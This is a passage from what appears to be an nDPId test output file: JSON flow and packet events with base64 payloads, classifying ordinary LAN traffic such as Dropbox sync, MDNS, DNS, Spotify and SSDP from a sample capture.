QyMTExNDM5OSwgMTI1MjExNjQyOSwgNzA3OTYzNjY4OCwgMTc2OTY0MzA3LCAxMjU1NDA1NjYsIDEwNDc0MjgxODksIDQ3MTYxOTAwNDgsIDU0NjcxNjMwODgsIDExOTUwNDQwNzEsIDk2ODUzMjI0LCAxNzYwOTk2MywgNjQ3ODMwMzQ0MCwgNTExNzA2NjQyLCA2Mjk3OTU1MTg0LCAxNDE1NjIwMzUwXX0="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":44,"source":"telegram.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1588779601222,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":45,"source":"telegram.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1588779601223,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01025{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779601,"pkt_ts_usec":223133,"pkt_caplen":506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":506,"pkt_l4_len":472,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAAHskFkAAEARZAvAqAFNwKgB\/0RcRFwB2JlBeyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiA0MDk1NjMzNTA1MDQ3NDIyMDI0ODQ4MjA1NjAzMDgyNTQwNDYyOSwgImRpc3BsYXluYW1lIjogIiIsICJuYW1lc3BhY2VzIjogWzUzMDMzMDEyNDgsIDc4NTI2NjE3NywgMTUyNjI2MzA0NSwgMjg1MjE2MDcsIDE0ODE5MzM3LCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAyNzUwMzcwNTYwLCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgNDA1NjQ2MjU5MiwgNzA1MzYyNzE4NCwgMTUyMjE3NzU4NywgMTQyMTExNDM5OSwgMTI1MjExNjQyOSwgNzA3OTYzNjY4OCwgMTc2OTY0MzA3LCAxMjU1NDA1NjYsIDEwNDc0MjgxODksIDQ3MTYxOTAwNDgsIDU0NjcxNjMwODgsIDExOTUwNDQwNzEsIDk2ODUzMjI0LCAxNzYwOTk2MywgNjQ3ODMwMzQ0MCwgNTExNzA2NjQyLCA2Mjk3OTU1MTg0LCAxNDE1NjIwMzUwXX0="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"telegram.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1588779601223,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00781{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779601,"pkt_ts_usec":447909,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzGJZAAEARYHvAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGAM98X0EAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00583{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779603,"pkt_ts_usec":292776,"pkt_caplen":181,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":181,"pkt_l4_len":147,"pkt":"AQBeAAD7wJrQLWJ0CABFAACnQj4AAP8R1i7AqAE14AAA+xTpFOkAk34YAAAAAAAFAAAAAAABCF9ob21la2l0BF90Y3AFbG9jYWwAAAyAAQ9fY29tcGFuaW9uLWxpbmvAFQAMgAEFX3Jhb3DAFQAMgAEIX2FpcnBsYXnAFQAMgAEMX3NsZWVwLXByb3h5BF91ZHDAGgAMgAEAACkFoAAAEZQAEgAEAA4AMeKa0C1idMCa0C1idA=="} +00607{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":67,"source":"telegram.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":2,"flow_first_seen":1588779596464,"flow_last_seen":1588779603292,"flow_tot_l4_data_len":200,"flow_min_l4_data_len":53,"flow_max_l4_data_len":147,"flow_avg_l4_data_len":100,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_homekit._tcp.local"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":68,"source":"telegram.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1588779603292,"flow_last_seen":0,"flow_tot_l4_data_len":147,"flow_min_l4_data_len":147,"flow_max_l4_data_len":147,"flow_avg_l4_data_len":147,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::18a0:a412:8935:c01b","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00612{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779603,"pkt_ts_usec":292829,"pkt_caplen":201,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":201,"pkt_l4_len":147,"pkt":"MzMAAAD7wJrQLWJ0ht1gBqDxAJMR\/\/6AAAAAAAAAGKCkEok1wBv\/AgAAAAAAAAAAAAAAAAD7FOkU6QCTHG8AAAAAAAUAAAAAAAEIX2hvbWVraXQEX3RjcAVsb2NhbAAADIABD19jb21wYW5pb24tbGlua8AVAAyAAQVfcmFvcMAVAAyAAQhfYWlycGxhecAVAAyAAQxfc2xlZXAtcHJveHkEX3VkcMAaAAyAAQAAKQWgAAARlAASAAQADgAx4prQLWJ0wJrQLWJ0"} +00599{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":68,"source":"telegram.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1588779603292,"flow_last_seen":0,"flow_tot_l4_data_len":147,"flow_min_l4_data_len":147,"flow_max_l4_data_len":147,"flow_avg_l4_data_len":147,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::18a0:a412:8935:c01b","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_homekit._tcp.local"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":69,"source":"telegram.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1588779603320,"flow_last_seen":0,"flow_tot_l4_data_len":286,"flow_min_l4_data_len":286,"flow_max_l4_data_len":286,"flow_avg_l4_data_len":286,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.53","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00769{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779603,"pkt_ts_usec":320702,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"wJrQLWJ0KDc3AG3ICABFAAEyUGUAAP8R5oLAqAFNwKgBNRTpFOkBHhkkAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AMwDIAIYABAAAAeAATAAAAAMAFCkx1Y2FzLWlNYWPAIcAyABCAAQAAEZQAWBZycEJBPTM5OjJBOjg4OkFDOjQxOkFCCnJwVnI9MTUyLjERcnBIST1mOWM0NmM2ZGQwN2QRcnBITj0zYzVkYzVjZTk1NzgRcnBIQT04Y2E4Y2I3MzFjMWMNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AHAAQAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xN8BUAAGAAQAAAHgABMCoAU0="} +00558{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":69,"source":"telegram.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1588779603320,"flow_last_seen":0,"flow_tot_l4_data_len":286,"flow_min_l4_data_len":286,"flow_max_l4_data_len":286,"flow_avg_l4_data_len":286,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.53","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_companion-link._tcp.local"}} +00659{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779604,"pkt_ts_usec":297208,"pkt_caplen":238,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":238,"pkt_l4_len":204,"pkt":"AQBeAAD7wJrQLWJ0CABFAADgDXQAAP8RCsDAqAE14AAA+xTpFOkAzL4AAAAAAAADAAMAAAABCF9ob21la2l0BF90Y3AFbG9jYWwAAAwAAQ9fY29tcGFuaW9uLWxpbmvAFQAMAAEMX3NsZWVwLXByb3h5BF91ZHDAGgAMAAHAJQAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AlwCUADAABAAARlAAOC0x1Y2EncyBpUGFkwCXAOwAMAAEAABGUABIPNTAtMzUtMTAtNzAuMSAxwDsAACkFoAAAEZQAEgAEAA4AMeKa0C1idMCa0C1idA=="} +00688{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779604,"pkt_ts_usec":297420,"pkt_caplen":258,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":258,"pkt_l4_len":204,"pkt":"MzMAAAD7wJrQLWJ0ht1gBqDxAMwR\/\/6AAAAAAAAAGKCkEok1wBv\/AgAAAAAAAAAAAAAAAAD7FOkU6QDMXFcAAAAAAAMAAwAAAAEIX2hvbWVraXQEX3RjcAVsb2NhbAAADAABD19jb21wYW5pb24tbGlua8AVAAwAAQxfc2xlZXAtcHJveHkEX3VkcMAaAAwAAcAlAAwAAQAAEZQAEA1MdWNh4oCZcyBpTWFjwCXAJQAMAAEAABGUAA4LTHVjYSdzIGlQYWTAJcA7AAwAAQAAEZQAEg81MC0zNS0xMC03MC4xIDHAOwAAKQWgAAARlAASAAQADgAx4prQLWJ0wJrQLWJ0"} +00769{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779604,"pkt_ts_usec":398986,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"jP5XIzfkKDc3AG3ICABFAAEy\/rUAAP8ROBzAqAFNwKgBSxTpFOkBHhkOAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AMwDIAIYABAAAAeAATAAAAAMAFCkx1Y2FzLWlNYWPAIcAyABCAAQAAEZQAWBZycEJBPTM5OjJBOjg4OkFDOjQxOkFCCnJwVnI9MTUyLjERcnBIST1mOWM0NmM2ZGQwN2QRcnBITj0zYzVkYzVjZTk1NzgRcnBIQT04Y2E4Y2I3MzFjMWMNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AHAAQAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xN8BUAAGAAQAAAHgABMCoAU0="} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":99,"source":"telegram.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1588779601222,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":99,"source":"telegram.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1588779601223,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":99,"source":"telegram.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1588779603320,"flow_last_seen":0,"flow_tot_l4_data_len":286,"flow_min_l4_data_len":286,"flow_max_l4_data_len":286,"flow_avg_l4_data_len":286,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.53","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":99,"source":"telegram.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1588779596465,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.69","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00781{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779606,"pkt_ts_usec":465822,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzGJdAAEARYHrAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGABAmSTUAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00533{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779607,"pkt_ts_usec":307651,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"AQBeAAD7wJrQLWJ0CABFAACAeJ4AAP8Rn\/XAqAE14AAA+xTpFOkAbGrlAAAAAAABAAEAAAABDF9zbGVlcC1wcm94eQRfdWRwBWxvY2FsAAAMAAHADAAMAAEAABGRABIPNTAtMzUtMTAtNzAuMSAxwAwAACkFoAAAEZQAEgAEAA4AMeKa0C1idMCa0C1idA=="} +00612{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":102,"source":"telegram.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1588779596464,"flow_last_seen":1588779607307,"flow_tot_l4_data_len":512,"flow_min_l4_data_len":53,"flow_max_l4_data_len":204,"flow_avg_l4_data_len":128,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_sleep-proxy._udp.local"}} +00561{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779607,"pkt_ts_usec":308336,"pkt_caplen":162,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":162,"pkt_l4_len":108,"pkt":"MzMAAAD7wJrQLWJ0ht1gBqDxAGwR\/\/6AAAAAAAAAGKCkEok1wBv\/AgAAAAAAAAAAAAAAAAD7FOkU6QBsCTwAAAAAAAEAAQAAAAEMX3NsZWVwLXByb3h5BF91ZHAFbG9jYWwAAAwAAcAMAAwAAQAAEZEAEg81MC0zNS0xMC03MC4xIDHADAAAKQWgAAARlAASAAQADgAx4prQLWJ0wJrQLWJ0"} +00624{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":103,"source":"telegram.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":3,"flow_first_seen":1588779603292,"flow_last_seen":1588779607308,"flow_tot_l4_data_len":459,"flow_min_l4_data_len":108,"flow_max_l4_data_len":204,"flow_avg_l4_data_len":153,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::18a0:a412:8935:c01b","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_sleep-proxy._udp.local"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":104,"source":"telegram.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1588779607374,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":52118,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779607,"pkt_ts_usec":374355,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA9u6QAAP8RfGzAqAFNwKgBAcuWADUAKd8a0oUBAAABAAAAAAAAAmluCWFwcGNlbnRlcgJtcwAAAQAB"} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":104,"source":"telegram.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1588779607374,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":52118,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Microsoft","breed":"Safe","category":"Cloud"},"dns": {"query":"in.appcenter.ms","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00621{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779607,"pkt_ts_usec":388567,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"KDc3AG3IEBMx8Tl2CABFAADD2ppAADkR4vDAqAEBwKgBTQA1y5YArwAA0oWBgAABAAMAAAAAAmluCWFwcGNlbnRlcgJtcwAAAQABwAwABQABAAAAXQAuGWluMi1wcm9kLWVhc3QtdXMyLTIzZmEzMzAOdHJhZmZpY21hbmFnZXIDbmV0AMAtAAUAAQAAAAsAMBNpbjItZ3cyLTA0LWVkZTZmMDZlB2Vhc3R1czIIY2xvdWRhcHAFYXp1cmUDY29tAMBnAAEAAQAAAAUABBQsTvs="} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":105,"source":"telegram.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":2,"flow_first_seen":1588779607374,"flow_last_seen":1588779607388,"flow_tot_l4_data_len":216,"flow_min_l4_data_len":41,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":52118,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Microsoft","breed":"Safe","category":"Cloud"},"dns": {"query":"in.appcenter.ms","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"20.44.78.251"}} +00769{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779607,"pkt_ts_usec":883587,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"jP5XIzfkKDc3AG3ICABFAAEyjSEAAP8RqbDAqAFNwKgBSxTpFOkBHhkOAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AMwDIAIYABAAAAeAATAAAAAMAFCkx1Y2FzLWlNYWPAIcAyABCAAQAAEZQAWBZycEJBPTM5OjJBOjg4OkFDOjQxOkFCCnJwVnI9MTUyLjERcnBIST1mOWM0NmM2ZGQwN2QRcnBITj0zYzVkYzVjZTk1NzgRcnBIQT04Y2E4Y2I3MzFjMWMNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AHAAQAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xN8BUAAGAAQAAAHgABMCoAU0="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":113,"source":"telegram.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1588779608134,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779608,"pkt_ts_usec":134321,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/wJrQLWJ0CABFAABEQD4AAEARtebAqAE1wKgB\/+EV4RUAMNBmU3BvdFVkcDClWtsnvt2XzwABAACyJIr8D\/N2Z9WO7tpCHKgrvJhaBg=="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":113,"source":"telegram.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1588779608134,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00460{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779611,"pkt_ts_usec":135146,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/wJrQLWJ0CABFAABE4wYAAEAREx7AqAE1wKgB\/+EV4RUAMNBmU3BvdFVkcDClWtsnvt2XzwABAACyJIr8D\/N2Z9WO7tpCHKgrvJhaBg=="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":139,"source":"telegram.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1588779611355,"flow_last_seen":0,"flow_tot_l4_data_len":133,"flow_min_l4_data_len":133,"flow_max_l4_data_len":133,"flow_avg_l4_data_len":133,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.75","dst_ip":"239.255.255.250","src_port":57916,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00570{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779611,"pkt_ts_usec":355675,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AQBef\/\/6jP5XIzfkCABFAACZH80AAAER55nAqAFL7\/\/\/+uI8B2wAhTXETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQo="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":139,"source":"telegram.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1588779611355,"flow_last_seen":0,"flow_tot_l4_data_len":133,"flow_min_l4_data_len":133,"flow_max_l4_data_len":133,"flow_avg_l4_data_len":133,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.75","dst_ip":"239.255.255.250","src_port":57916,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} 